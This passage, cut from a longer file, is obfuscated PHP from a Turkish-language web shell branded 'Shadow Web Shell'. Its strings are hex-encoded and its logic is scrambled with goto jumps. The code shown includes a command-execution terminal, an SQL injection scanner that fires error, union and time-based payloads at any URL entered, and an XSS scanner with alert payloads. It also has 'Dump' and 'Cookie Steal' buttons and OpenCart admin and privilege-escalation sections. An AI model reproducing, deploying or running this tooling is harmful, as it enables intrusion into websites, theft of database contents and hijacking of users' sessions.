"\x73\165\143\x63\145\163\163"; $status_text = "\342\234\x85\x20\xc3\207\x41\x4c\x49\305\236\124\111\41"; $successful++; echo "\74\144\x69\166\40\x63\154\x61\x73\x73\75\42\164\145\162\155\x2d\154\151\x6e\x65\42\76\74\163\x70\141\x6e\x20\x63\154\141\x73\163\75\x22\x70\162\157\x6d\x70\x74\x22\x3e\xe2\x9e\x9c\74\57\x73\x70\141\x6e\x3e\x20\74\x73\x70\x61\156\x20\143\154\141\x73\163\x3d\x22\x70\141\171\154\x6f\x61\144\42\x3e" . htmlspecialchars($test_cmd) . "\x3c\x2f\163\160\141\x6e\76\x20\xe2\206\222\40\74\163\x70\141\156\x20\143\154\x61\x73\x73\75\42\x73\165\x63\x63\x65\x73\163\42\x3e\xe2\234\x85\40\102\101\305\236\x41\x52\x49\x4c\x49\x3c\x2f\x73\160\141\x6e\x3e\74\x2f\x64\x69\166\x3e"; if (strlen($response) < 2000) { echo "\x3c\144\151\x76\x20\x63\154\141\163\163\75\x22\x74\x65\x72\x6d\55\154\x69\x6e\145\42\76\x3c\x73\160\x61\156\x20\x63\154\x61\x73\163\x3d\x22\x70\x72\157\155\160\x74\x22\76\342\224\x94\342\x94\x80\x3c\57\x73\160\141\x6e\x3e\x20\74\x73\160\x61\156\x20\x63\154\x61\163\x73\75\42\x69\156\146\x6f\42\x3e\xc3\207\xc4\xb1\153\164\xc4\261\72\74\57\x73\160\141\156\x3e\x3c\x2f\144\151\166\x3e"; echo "\x3c\x64\151\x76\40\143\x6c\x61\163\x73\75\42\164\145\162\155\x2d\154\x69\x6e\145\x22\76\74\x70\x72\145\x20\x63\x6c\x61\x73\x73\75\x22\x6f\x75\x74\x70\x75\x74\55\x62\x6c\x6f\x63\x6b\42\x3e" . htmlspecialchars(substr($response, 0, 800)) . "\74\x2f\160\x72\x65\76\x3c\57\144\x69\166\x3e"; } break; } else { echo "\74\x64\151\166\x20\143\154\x61\163\x73\75\42\x74\145\162\155\x2d\154\x69\x6e\145\x22\x3e\x3c\163\x70\141\156\40\143\154\x61\163\163\75\x22\160\x72\x6f\155\160\x74\x22\76\342\236\x9c\x3c\57\163\160\x61\x6e\76\x20\74\163\160\x61\156\40\x63\x6c\141\163\163\75\x22\x70\x61\171\x6c\x6f\x61\x64\42\x3e" . htmlspecialchars(substr($test_cmd, 0, 40)) . "\x3c\x2f\163\160\x61\x6e\76\40\342\206\222\x20\74\x73\160\141\156\40\x63\x6c\x61\x73\163\x3d\x22\145\162\162\x6f\162\42\76\342\235\214\x20" . ($info["\150\164\164\x70\137\143\x6f\x64\x65"] ?: "\124\151\155\x65\157\165\x74") . "\74\57\x73\x70\x61\x6e\76\74\57\x64\151\166\x3e"; } flush(); usleep(50000); } } echo "\74\144\151\166\x20\143\x6c\x61\163\163\x3d\x22\x74\145\162\155\x2d\x6c\x69\x6e\145\42\76\x3c\163\x70\141\156\x20\x63\154\x61\x73\163\75\x22\160\162\x6f\155\160\x74\42\x3e\342\236\x9c\x3c\x2f\163\160\141\156\76\x20\x3d\x3d\x3d\x3d\75\x3d\75\x3d\75\x3d\x3d\75\75\75\75\x3d\x3d\x3d\x3d\x3d\x3d\75\x3d\75\75\x3d\x3d\75\75\x3d\x3d\75\x3d\x3d\75\x3d\x3d\x3d\75\x3d\x3c\x2f\x64\x69\x76\76"; echo "\x3c\x64\151\x76\x20\143\x6c\141\x73\163\75\42\164\145\x72\x6d\x2d\154\151\156\145\x22\76\74\163\160\x61\x6e\40\x63\154\x61\163\163\75\42\160\x72\x6f\155\x70\x74\x22\x3e\342\x9e\234\x3c\57\163\160\141\x6e\x3e\40\74\163\x70\x61\x6e\x20\x63\154\x61\163\x73\x3d\x22\151\x6e\146\x6f\42\x3e\xf0\237\x93\212\40\124\157\x70\x6c\141\x6d\72\40" . $executed . "\40\x74\145\x73\x74\x3c\x2f\163\x70\141\x6e\x3e\x3c\x2f\x64\151\x76\76"; echo "\x3c\144\151\166\40\143\154\x61\x73\x73\75\x22\x74\x65\162\x6d\x2d\x6c\151\156\x65\42\76\x3c\x73\x70\141\156\40\143\154\x61\x73\163\x3d\x22\x70\x72\x6f\x6d\160\x74\x22\76\342\x9e\x9c\x3c\x2f\163\160\x61\156\x3e\x20\74\163\160\141\156\x20\x63\x6c\141\x73\x73\x3d\42\163\165\x63\x63\x65\163\163\42\x3e\xe2\234\x85\40\102\141\xc5\237\x61\162\304\xb1\x6c\304\261\x3a\x20" . $successful . "\74\57\163\x70\x61\156\76\x3c\x2f\144\151\166\76"; ?> </div> <?php } ?> </div> <!-- ===== SQL INJECTION ===== --> <div class="exploit-card"> <h4><i class="fas fa-database"></i> SQL Injection Scanner</h4> <form method="POST"> <div class="exploit-input-group"> <input type="text" name="sql_url" placeholder="Target URL (örn: http://site.com/page.php?id=1)" value="<?php echo htmlspecialchars($_POST["\x73\x71\154\137\165\162\154"] ?? "\x68\164\164\x70\x3a\57\57\x6c\157\x63\141\154\x68\x6f\x73\164\x2f\x70\141\147\145\x2e\160\x68\x70\77\x69\144\x3d\61"); ?> "> </div> <div class="checkbox-group"> <label><input type="checkbox" name="sql_error_based" checked> Error Based</label> <label><input type="checkbox" name="sql_union"> Union Based</label> <label><input type="checkbox" name="sql_time"> Time Based</label> </div> <div class="btn-group-exploit"> <button type="submit" name="exploit_action" value="sql_scan" class="btn-exploit btn-exploit-danger"> <i class="fas fa-search"></i> SQL Tara </button> <button type="submit" name="exploit_action" value="sql_dump" class="btn-exploit btn-exploit-warning"> <i class="fas fa-download"></i> Dump </button> </div> </form> <?php if (isset($_POST["\145\170\x70\x6c\x6f\x69\x74\x5f\141\143\164\x69\x6f\x6e"]) && in_array($_POST["\x65\170\160\154\x6f\x69\x74\137\141\x63\x74\x69\x6f\x6e"], array("\x73\161\154\137\163\x63\x61\156", "\x73\161\154\137\144\165\x6d\x70"))) { ?> <div class="exploit-terminal"> <?php $sql_url = $_POST["\163\161\154\x5f\x75\x72\x6c"]; $sql_payloads = array("\47", "\47\40\117\x52\x20\x27\x31\x27\75\47\61", "\x27\40\117\122\40\47\x31\47\75\x27\x31\x27\x20\55\x2d\x20", "\47\x20\x4f\122\x20\47\61\47\x3d\47\61\47\40\x23", "\x27\40\x4f\122\40\x31\75\61\40\x2d\x2d\40", "\47\x20\125\116\x49\117\116\40\123\x45\x4c\105\103\124\40\x31\54\x32\x2c\x33\55\55\x20", "\47\x20\x41\x4e\x44\40\61\x3d\61\55\x2d\40", "\47\x20\x41\116\x44\40\x31\x3d\x32\x2d\x2d\40", "\47\x20\x41\x4e\x44\x20\x53\x4c\105\x45\x50\x28\65\x29\55\55\40"); echo "\74\x64\151\x76\x20\143\154\x61\x73\x73\x3d\42\x74\145\x72\155\55\x6c\x69\x6e\145\x22\x3e\x3c\163\160\141\156\x20\x63\154\x61\x73\163\x3d\x22\160\162\157\155\x70\164\x22\76\xe2\236\234\x3c\x2f\x73\160\141\x6e\x3e\x20\74\163\x70\141\156\x20\x63\x6c\x61\163\x73\75\42\151\156\146\x6f\x22\76\x53\x51\x4c\x20\x49\x6e\x6a\x65\x63\164\x69\157\x6e\40\164\x61\x72\141\155\x61\x73\304\xb1\x2e\56\x2e\74\57\x73\x70\141\x6e\76\x3c\x2f\144\x69\x76\x3e"; echo "\74\144\x69\x76\40\x63\x6c\x61\163\x73\75\42\x74\145\162\x6d\x2d\154\151\x6e\145\42\x3e\74\x73\x70\141\156\x20\143\x6c\141\163\163\75\x22\x70\162\x6f\x6d\x70\x74\42\x3e\xe2\236\x9c\x3c\57\163\160\141\156\x3e\x20\124\x61\162\147\x65\x74\x3a\x20\x3c\x73\x70\141\x6e\40\x63\154\141\163\163\x3d\x22\150\x69\x67\150\154\x69\x67\x68\164\x22\x3e" . htmlspecialchars($sql_url) . "\74\57\x73\x70\141\156\76\74\57\144\x69\166\x3e"; echo "\x3c\x64\x69\166\x20\143\x6c\x61\x73\x73\x3d\x22\x74\x65\162\155\55\x6c\x69\x6e\x65\x22\76\x3c\x73\x70\141\156\x20\x63\154\141\163\163\x3d\42\160\x72\x6f\x6d\x70\164\x22\76\xe2\236\234\74\x2f\x73\x70\141\156\76\x20\x3d\75\75\x3d\x3d\x3d\x3d\x3d\75\x3d\x3d\75\75\75\75\75\x3d\x3d\x3d\75\x3d\75\x3d\x3d\x3d\x3d\75\x3d\75\x3d\75\75\75\75\75\75\75\75\x3d\x3d\x3c\57\x64\151\166\76"; $found = 0; foreach ($sql_payloads as $payload) { $test_url = $sql_url . urlencode($payload); $ch = curl_init($test_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); $is_vulnerable = false; $error_patterns = array("\155\171\163\161\x6c\x5f\x66\145\164\x63\150", "\x53\x51\114\40\x73\x79\x6e\x74\141\x78", "\131\157\x75\40\150\x61\x76\x65\x20\141\x6e\40\145\x72\x72\157\162", "\127\141\x72\x6e\x69\156\x67\x3a\40\155\171\x73\x71\154", "\165\156\x63\x6c\157\163\145\144\40\161\165\x6f\x74\x61\x74\151\x6f\x6e\40\x6d\141\x72\x6b"); foreach ($error_patterns as $pattern) { if (stripos($response, $pattern) !== false) { $is_vulnerable = true; break; } } $status_class = $is_vulnerable ? "\x73\x75\143\x63\x65\163\163" : "\x65\x72\x72\x6f\162"; $status_text = $is_vulnerable ? "\xe2\234\x85\x20\132\101\x46\xc4\260\131\105\124\x21" : "\342\235\x8c\40\107\303\xbc\166\x65\x6e\x6c\x69"; if ($is_vulnerable) { $found++; } echo "\x3c\144\151\166\40\143\x6c\x61\x73\163\x3d\x22\164\145\x72\x6d\55\154\x69\156\x65\42\76\74\x73\x70\x61\156\x20\143\154\x61\163\x73\x3d\x22\160\x72\x6f\x6d\x70\164\x22\x3e\342\x9e\x9c\74\57\163\160\141\156\x3e\40\74\x73\x70\x61\x6e\40\x63\x6c\141\163\163\x3d\42\x70\x61\171\x6c\157\x61\144\x22\x3e" . htmlspecialchars($payload) . "\74\57\163\160\x61\x6e\x3e\x20\xe2\x86\x92\x20\x3c\x73\160\x61\x6e\40\x63\154\x61\x73\163\75\42" . $status_class . "\x22\x3e" . $status_text . "\x3c\x2f\x73\160\x61\x6e\76\74\x2f\144\151\166\x3e"; flush(); usleep(20000); } echo "\x3c\x64\151\x76\40\x63\x6c\141\163\163\x3d\x22\164\145\162\x6d\55\x6c\x69\156\145\42\76\x3c\163\160\141\156\x20\x63\154\x61\163\163\75\x22\x70\162\157\155\160\x74\x22\x3e\xe2\236\234\74\x2f\x73\x70\x61\x6e\x3e\x20\75\x3d\75\x3d\x3d\x3d\75\75\75\x3d\75\75\x3d\x3d\75\75\75\x3d\75\x3d\75\75\75\75\x3d\75\75\75\x3d\x3d\75\75\75\75\75\x3d\x3d\75\x3d\x3d\74\57\144\x69\166\76"; echo "\74\144\151\166\40\x63\154\x61\163\163\x3d\x22\164\x65\162\x6d\x2d\154\151\156\x65\42\76\74\163\x70\x61\x6e\x20\143\x6c\141\x73\163\x3d\x22\x70\162\x6f\x6d\x70\164\42\76\xe2\236\234\x3c\57\163\160\x61\156\x3e\x20\74\x73\x70\141\x6e\x20\143\x6c\x61\x73\163\x3d\x22" . ($found > 0 ? "\163\x75\x63\x63\x65\x73\x73" : "\145\162\x72\157\x72") . "\x22\x3e\xf0\237\223\212\x20" . $found . "\40\172\141\146\x69\171\145\164\x20\142\165\x6c\x75\x6e\x64\x75\x3c\x2f\x73\x70\141\156\x3e\74\x2f\x64\x69\x76\76"; ?> </div> <?php } ?> </div> <!-- ===== XSS / HTML INJECTION ===== --> <div class="exploit-card"> <h4><i class="fas fa-code-branch"></i> XSS / HTML Injection</h4> <form method="POST"> <div class="exploit-input-group"> <input type="text" name="xss_url" placeholder="Target URL (örn: http://site.com/search?q=)" value="<?php echo htmlspecialchars($_POST["\170\163\163\x5f\165\162\154"] ?? "\150\x74\164\160\x3a\x2f\57\x6c\157\143\x61\x6c\x68\x6f\x73\x74\x2f\x73\x65\x61\162\143\150\77\x71\75"); ?> "> </div> <div class="checkbox-group"> <label><input type="checkbox" name="xss_auto_submit"> Auto Submit</label> <label><input type="checkbox" name="xss_stealth"> Stealth Mode</label> </div> <div class="btn-group-exploit"> <button type="submit" name="exploit_action" value="xss_scan" class="btn-exploit btn-exploit-danger"> <i class="fas fa-bug"></i> XSS Tara </button> <button type="submit" name="exploit_action" value="xss_cookie" class="btn-exploit btn-exploit-warning"> <i class="fas fa-cookie"></i> Cookie Steal </button> </div> </form> <?php if (isset($_POST["\x65\x78\160\154\157\x69\x74\x5f\x61\143\164\x69\x6f\x6e"]) && in_array($_POST["\145\x78\x70\154\x6f\x69\164\x5f\x61\143\x74\x69\x6f\x6e"], array("\170\163\x73\137\163\143\141\x6e", "\170\163\x73\137\x63\x6f\x6f\153\x69\x65"))) { ?> <div class="exploit-terminal"> <?php $xss_url = $_POST["\170\163\x73\x5f\165\x72\154"]; $xss_payloads = array("\74\163\143\162\151\160\164\76\x61\154\145\162\x74\50\42\130\x53\123\x22\51\74\x2f\x73\x63\x72\151\160\x74\x3e", "\x3c\151\155\x67\x20\x73\x72\x63\x3d\170\x20\157\x6e\145\x72\x72\157\x72\75\x61\154\145\162\x74\50\x31\x29\76", "\74\163\x76\147\x20\x6f\x6e\154\x6f\x61\x64\x3d\141\154\145\x72\x74\50\61\x29\76", "\42\76\x3c\163\143\x72\x69\160\x74\x3e\x61\x6c\x65\x72\164\x28\x31\51\x3c\57\163\143\x72\x69\x70\x74\x3e", "\152\x61\x76\x61\163\x63\162\151\x70\164\x3a\141\x6c\145\162\x74\50\61\51", "\x3c\151\156\x70\x75\x74\x20\157\x6e\x66\x6f\x63\165\163\75\x61\154\x65\x72\164\50\61\51\x20\x61\x75\x74\x6f\x66\157\143\x75\x73\x3e"); echo "\x3c\x64\151\166\40\143\154\x61\x73\163\x3d\42\x74\145\162\x6d\x2d\154\x69\x6e\145\42\x3e\74\x73\160\141\x6e\40\x63\x6c\x61\163\163\75\42\x70\162\x6f\x6d\x70\x74\x22\76\342\236\x9c\x3c\57\x73\160\x61\x6e\x3e\40\x3c\x73\160\x61\x6e\x20\x63\154\141\x73\163\x3d\x22\x69\156\146\x6f\x22\x3e\130\123\123\x20\164\141\162\141\155\141\163\xc4\xb1\x2e\x2e\56\x3c\57\x73\160\141\x6e\x3e\74\x2f\144\x69\166\76"; echo "\x3c\144\x69\x76\40\143\x6c\x61\163\163\75\x22\164\145\162\155\x2d\154\x69\x6e\145\x22\x3e\x3c\163\160\x61\156\40\x63\x6c\x61\x73\x73\75\42\160\x72\157\x6d\x70\x74\42\76\342\236\234\x3c\x2f\163\x70\141\x6e\x3e\40\x54\x61\x72\147\x65\x74\x3a\x20\x3c\163\160\x61\156\40\x63\x6c\x61\x73\163\x3d\x22\x68\151\x67\150\x6c\151\147\x68\164\x22\76" . htmlspecialchars($xss_url) . "\74\x2f\163\x70\141\x6e\76\74\57\x64\x69\166\76"; echo "\74\x64\x69\166\x20\x63\154\141\x73\x73\x3d\42\x74\145\162\x6d\55\x6c\151\x6e\145\42\x3e\74\163\x70\x61\x6e\40\143\x6c\x61\163\163\75\x22\x70\162\x6f\x6d\160\164\42\x3e\xe2\236\x9c\74\57\x73\x70\x61\156\76\40\x3d\75\75\x3d\x3d\x3d\75\75\x3d\75\x3d\75\75\75\x3d\x3d\75\x3d\75\75\75\75\75\x3d\x3d\75\x3d\75\75\75\x3d\75\x3d\x3d\75\75\75\x3d\75\75\74\x2f\x64\151\x76\x3e"; $found = 0; foreach ($xss_payloads as $payload) { $test_url = $xss_url . urlencode($payload); $ch = curl_init($test_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); $is_vulnerable = false; $clean_payload = str_replace(array("\74", "\x3e", "\42", "\x27"), '', $payload); if (stripos($response, "\141\x6c\x65\162\164") !== false || stripos($response, $clean_payload) !== false) { $is_vulnerable = true; } $status_class = $is_vulnerable ? "\x73\x75\x63\x63\x65\163\x73" : "\145\x72\x72\157\x72"; $status_text = $is_vulnerable ? "\xe2\234\x85\x20\132\x41\x46\xc4\xb0\x59\x45\x54\x21" : "\342\x9d\214\40\x47\303\xbc\166\x65\x6e\154\151"; if ($is_vulnerable) { $found++; } echo "\74\144\151\x76\x20\143\x6c\x61\x73\163\75\x22\x74\145\162\155\x2d\154\151\156\145\x22\x3e\74\x73\160\141\x6e\40\x63\x6c\141\x73\163\x3d\42\x70\162\x6f\x6d\x70\164\x22\76\xe2\x9e\234\74\57\163\x70\x61\x6e\x3e\x20\74\x73\x70\x61\x6e\x20\143\154\x61\x73\163\x3d\42\x70\x61\171\x6c\157\x61\144\x22\x3e" . htmlspecialchars(substr($payload, 0, 40)) . "\x3c\57\x73\160\141\x6e\76\40\342\x86\222\x20\74\163\160\x61\x6e\40\143\x6c\x61\163\x73\75\x22" . $status_class . "\42\x3e" . $status_text . "\x3c\57\x73\160\141\x6e\x3e\x3c\57\144\151\166\x3e"; flush(); usleep(10000); } echo "\x3c\144\151\166\40\143\154\141\163\x73\x3d\x22\x74\x65\162\x6d\x2d\x6c\151\x6e\x65\x22\x3e\x3c\163\x70\x61\x6e\x20\x63\154\141\x73\x73\75\x22\160\162\x6f\155\x70\164\x22\x3e\342\236\x9c\x3c\x2f\163\x70\x61\x6e\x3e\40\x3d\75\x3d\75\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\75\x3d\x3d\75\75\x3d\75\x3d\x3d\x3d\x3d\75\x3d\75\x3d\x3d\75\75\75\x3d\x3d\x3d\75\75\75\75\x3d\x3d\x3c\x2f\144\151\x76\x3e"; echo "\74\x64\x69\166\x20\x63\x6c\141\x73\163\x3d\42\x74\145\x72\x6d\55\x6c\151\x6e\145\x22\76\x3c\x73\x70\141\x6e\x20\143\154\141\x73\x73\x3d\42\x70\x72\x6f\155\x70\x74\42\x3e\342\x9e\234\74\x2f\163\160\141\x6e\76\x20\74\163\160\141\x6e\40\143\154\x61\x73\x73\x3d\x22" . ($found > 0 ? "\x73\165\143\143\145\163\163" : "\145\x72\x72\157\x72") . "\x22\76\xf0\x9f\223\212\40" . $found . "\x20\172\x61\x66\151\171\145\164\40\x62\165\x6c\165\156\x64\165\74\57\x73\x70\x61\156\76\x3c\57\144\151\x76\76"; ?> </div> <?php } ?> </div> </div> <script> // Exploit Tab Switching function switchExploitTab(el, type) { document.querySelectorAll('.exploit-tab').forEach(tab => tab.classList.remove('active')); el.classList.add('active'); } // Show custom payload input document.getElementById('payloadType')?.addEventListener('change', function() { const customContainer = document.getElementById('customPayloadContainer'); customContainer.style.display = this.value === 'custom' ? 'block' : 'none'; }); // Show custom command input document.getElementById('cmdType')?.addEventListener('change', function() { const customContainer = document.getElementById('customCmdContainer'); customContainer.style.display = this.value === 'custom' ? 'block' : 'none'; }); // Auto-scroll terminal function scrollTerminal() { document.querySelectorAll('.exploit-terminal').forEach(term => { term.scrollTop = term.scrollHeight; }); } setInterval(scrollTerminal, 100); </script> <?php } goto qnhBA; Klo0u: ?> <!-- ============================================================ --> <!-- ===== SCANNER ===== --> <!-- ============================================================ --> <?php goto F1NCB; QTM3n: ?> <!-- ============================================================ --> <!-- ===== OPENCART ADMIN MASTER - NEON MOR PARTİKÜL ===== --> <!-- ============================================================ --> <?php goto uEqZe; K7Moj: ?> </title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css"> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap" rel="stylesheet"> <style> * { margin:0; padding:0; box-sizing:border-box; } html, body { height: 100%; overflow: hidden; } body { background: #0a0010; color: #c8d6e5; font-family: 'JetBrains Mono', monospace; display: flex; min-height: 100vh; overflow: hidden; } ::-webkit-scrollbar { width:6px; height:6px; } ::-webkit-scrollbar-track { background:#1a0525; } ::-webkit-scrollbar-thumb { background:#b300ff; border-radius:10px; } ::-webkit-scrollbar-thumb:hover { background:#8f00cc; } .sidebar { width: 220px; min-width: 220px; background: #0a0010; border-right: 1px solid #3a0a5a; display: flex; flex-direction: column; height: 100vh; overflow: hidden; flex-shrink: 0; } .sidebar .logo { text-align: center; padding: 15px 15px 12px 15px; border-bottom: 1px solid #3a0a5a; flex-shrink: 0; } .sidebar .logo h1 { font-size: 16px; color: #b300ff; text-shadow: 0 0 20px #b300ff44, 0 0 60px #b300ff22; } .sidebar .logo span { font-size: 9px; color: #5a1a7a; } .sidebar .menu-wrapper { flex: 1; overflow-y: auto; overflow-x: hidden; padding: 8px 6px; } .sidebar .menu-wrapper::-webkit-scrollbar { width: 4px; } .sidebar .menu-wrapper::-webkit-scrollbar-track { background: transparent; } .sidebar .menu-wrapper::-webkit-scrollbar-thumb { background: #b300ff44; border-radius: 10px; } .sidebar .menu a { display: flex; align-items: center; gap: 10px; padding: 7px 10px; margin: 1px 0; color: #5a2a7a; text-decoration: none; border-radius: 6px; transition: all 0.2s ease; font-size: 11px; border-left: 3px solid transparent; } .sidebar .menu a:hover { background: #1a0525; color: #b300ff; border-left-color: #b300ff; } .sidebar .menu a i { width:18px; text-align:center; font-size:12px; } .sidebar .menu a.active { background: #1a0525; color: #b300ff; border-left-color: #b300ff; } .sidebar .menu .group-label { font-size: 8px; color: #5a1a7a; padding: 6px 10px 3px; letter-spacing: 1px; text-transform: uppercase; opacity: 0.7; } .sidebar .bottom { padding: 10px 15px; border-top: 1px solid #3a0a5a; font-size: 9px; color: #3a0a5a; flex-shrink: 0; } .sidebar .bottom .status { display: flex; align-items: center; gap: 6px; color: #2ecc71; } .sidebar .bottom .status .dot { width: 6px; height: 6px; background: #2ecc71; border-radius: 50%; animation: pulse 2s infinite; } @keyframes pulse { 0% { opacity:1; transform:scale(1); } 50% { opacity:0.5; transform:scale(0.8); } 100% { opacity:1; transform:scale(1); } } .root-badge { background: #b300ff; color: #0a0010; padding: 2px 10px; border-radius: 12px; font-size: 9px; font-weight: 700; margin-left: 6px; } .root-badge.root { background: #2ecc71; color: #0a0010; } .os-badge { background: #1a0525; color: #5a2a7a; padding: 2px 8px; border-radius: 12px; font-size: 8px; margin-left: 6px; } .main { flex: 1; padding: 15px 20px; overflow-y: auto; height: 100vh; background: radial-gradient(ellipse at 20% 50%, #0a0010 0%, #050008 100%); } .main .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; padding-bottom: 8px; border-bottom: 1px solid #3a0a5a; flex-wrap: wrap; gap: 6px; flex-shrink: 0; } .main .header h2 { font-size: 15px; color: #e0e8f0; } .main .header h2 i { color:#b300ff; margin-right:8px; } .main .header .user-info { font-size: 10px; color: #5a2a7a; background: #0a0010; padding: 4px 12px; border-radius: 16px; border: 1px solid #3a0a5a; } .grid-3 { display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap: 10px; margin-bottom: 14px; } .grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; } .card { background: #0a0010; border: 1px solid #3a0a5a; border-radius: 10px; padding: 12px 14px; transition: all 0.3s; } .card:hover { border-color: #b300ff; transform: translateY(-2px); box-shadow: 0 8px 30px rgba(179,0,255,0.06); } .card .label { font-size: 8px; text-transform: uppercase; color: #5a1a7a; letter-spacing: 1px; } .card .value { font-size: 18px; font-weight: 700; color: #e0e8f0; margin: 3px 0; } .card .sub { font-size: 9px; color: #2ecc71; } .card .sub.danger { color: #b300ff; } .terminal-box { background: #0a0010; border: 1px solid #3a0a5a; border-radius: 10px; overflow: hidden; } .terminal-box .term-header { background: #0a0010; padding: 5px 12px; border-bottom: 1px solid #3a0a5a; display: flex; justify-content: space-between; font-size: 9px; color: #5a1a7a; } .terminal-box .term-body { padding: 12px; max-height: 350px; overflow-y: auto; font-size: 11px; line-height: 1.5; color: #b0c4de; } .terminal-box .term-body .output { white-space: pre-wrap; word-break: break-all; margin: 2px 0; } .terminal-box .term-body .output .error { color: #b300ff; } .terminal-box .term-body .output .success { color: #2ecc71; } .terminal-box .term-body .output .warning { color: #f39c12; } .terminal-box .term-body .input-line { display: flex; align-items: center; gap: 6px; margin-top: 4px; } .terminal-box .term-body .input-line input { flex: 1; background: transparent; border: none; border-bottom: 1px solid #3a0a5a; color: #e0e8f0; font-family: 'JetBrains Mono', monospace; font-size: 11px; outline: none; padding: 3px 0; } .terminal-box .term-body .input-line input:focus { border-bottom-color: #b300ff; } .terminal-box .term-body .prompt { color: #b300ff; } .file-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(90px, 1fr)); gap: 8px; margin-top: 8px; } .file-item { background: #0a0010; border: 1px solid #3a0a5a; border-radius: 8px; padding: 8px; text-align: center; transition: 0.3s; cursor: pointer; } .file-item:hover { border-color: #b300ff; transform: scale(1.03); box-shadow: 0 0 25px #b300ff11; } .file-item i { font-size: 22px; color: #b300ff; } .file-item .name { font-size: 9px; margin-top: 3px; word-break: break-all; color: #b0c4de; } .file-item .size { font-size: 7px; color: #5a1a7a; } .upload-zone { border: 2px dashed #3a0a5a; border-radius: 10px; padding: 30px; text-align: center; transition: 0.4s; cursor: pointer; background: #0a0010; } .upload-zone:hover { border-color: #b300ff; background: #1a0525; } .upload-zone i { font-size: 30px; color: #5a1a7a; margin-bottom: 8px; } .upload-zone p { color: #5a2a7a; font-size: 11px; } .settings-group { background: #0a0010; border: 1px solid #3a0a5a; border-radius: 10px; padding: 14px; margin-bottom: 10px; } .settings-group label { display: block; font-size: 10px; color: #5a2a7a; margin-bottom: 3px; } .settings-group input, .settings-group select, .settings-group textarea { width: 100%; padding: 6px 10px; background: #0a0010; border: 1px solid #3a0a5a; border-radius: 6px; color: #e0e8f0; font-family: 'JetBrains Mono', monospace; font-size: 10px; transition: 0.3s; margin-bottom: 6px; } .settings-group input:focus, .settings-group select:focus, .settings-group textarea:focus { border-color: #b300ff; outline: none; box-shadow: 0 0 20px #b300ff22; } .settings-group textarea { resize: vertical; min-height: 50px; } .btn { padding: 5px 14px; background: #b300ff; color: #0a0010; border: none; border-radius: 6px; font-weight: 700; cursor: pointer; transition: 0.3s; font-family: 'JetBrains Mono', monospace; font-size: 10px; } .btn:hover { background: #8f00cc; transform: scale(1.02); } .btn-danger { background: #b300ff; color: #0a0010; } .btn-danger:hover { background: #8f00cc; } .btn-success { background: #2ecc71; color: #0a0010; } .btn-success:hover { background: #27ae60; } .btn-warning { background: #f39c12; color: #0a0010; } .btn-warning:hover { background: #d68910; } .btn-sm { padding: 2px 8px; font-size: 9px; } .btn-root { background: #ffd700; color: #0a0010; } .btn-root:hover { background: #f0c000; } .flex { display: flex; gap: 6px; flex-wrap: wrap; align-items: center; } .flex-between { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 6px; } .mt-10 { margin-top: 8px; } .mb-10 { margin-bottom: 8px; } .gap-10 { gap: 8px; } .glitch { animation: glitch 5s infinite; } @keyframes glitch { 0% { text-shadow: 0 0 5px #b300ff; } 5% { text-shadow: -2px 0 #b300ff, 2px 0 #b300ff; } 10% { text-shadow: 0 0 5px #b300ff; } 100% { text-shadow: 0 0 5px #b300ff; } } .badge { background: #1a0525; padding: 2px 6px; border-radius: 8px; font-size: 8px; color: #5a2a7a; } .privesc-card { border-color: #ffd700; background: #1a0a10; } .privesc-card:hover { border-color: #ffd700; box-shadow: 0 0 30px rgba(255,215,0,0.1); } .os-icon { font-size: 13px; margin-right: 3px; } .file-modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.9); z-index: 9999; justify-content: center; align-items: center; } .file-modal.active { display: flex; } .file-modal .modal-content { background: #0a0010; border: 1px solid #b300ff; border-radius: 10px; padding: 16px; max-width: 800px; width: 90%; max-height: 80vh; overflow: auto; } .file-modal .modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 12px; border-bottom: 1px solid #3a0a5a; padding-bottom: 8px; } .file-modal .modal-header h3 { color: #b300ff; font-size: 13px; } .file-modal .modal-close { background: #b300ff; border: none; color: #0a0010; padding: 4px 12px; border-radius: 5px; cursor: pointer; font-size: 13px; } @media (max-width: 768px) { .sidebar { width: 50px; min-width: 50px; } .sidebar .logo h1, .sidebar .logo span, .sidebar .menu a span, .sidebar .bottom .status span { display: none; } .sidebar .menu a { justify-content: center; padding: 6px; } .sidebar .menu .group-label { display: none; } .main { padding: 10px; } .grid-3 { grid-template-columns: 1fr 1fr; } .grid-2 { grid-template-columns: 1fr; } } @media (max-width: 480px) { .grid-3 { grid-template-columns: 1fr; } } </style> </head> <body> <!-- ===== SIDEBAR ===== --> <div class="sidebar"> <div class="logo" style="display:flex; flex-direction:column; align-items:center; padding:20px 0 15px 0; border-bottom:1px solid #1a0a2a;"> <a href="?action=dashboard" style="text-decoration:none; display:flex; align-items:center; justify-content:center; width:100%;"> <img src="https://i.hizliresim.com/48spqj9.png" alt="Shadow Web Shell" style="max-height: 120px; width: auto; filter: drop-shadow(0 0 20px #9b00ff);"> </a> <div style="display:flex; align-items:center; justify-content:center; gap:10px; margin-top:6px;"> <span style="font-size: 10px; color: #9b4dff; background: rgba(155, 0, 255, 0.12); padding: 2px 12px; border-radius: 20px; border: 1px solid #4a1a6a; letter-spacing:1px;"><?php goto p_8GB; P0V63: ?> </span> </h2> <div class="user-info"> <i class="fas fa-user"></i> <?php goto xHtm2; CeiZj: if ($action == "\164\145\x72\x6d\x69\x6e\x61\x6c") { $termOutput = ''; $termCmd = ''; $currentDir = getcwd(); if 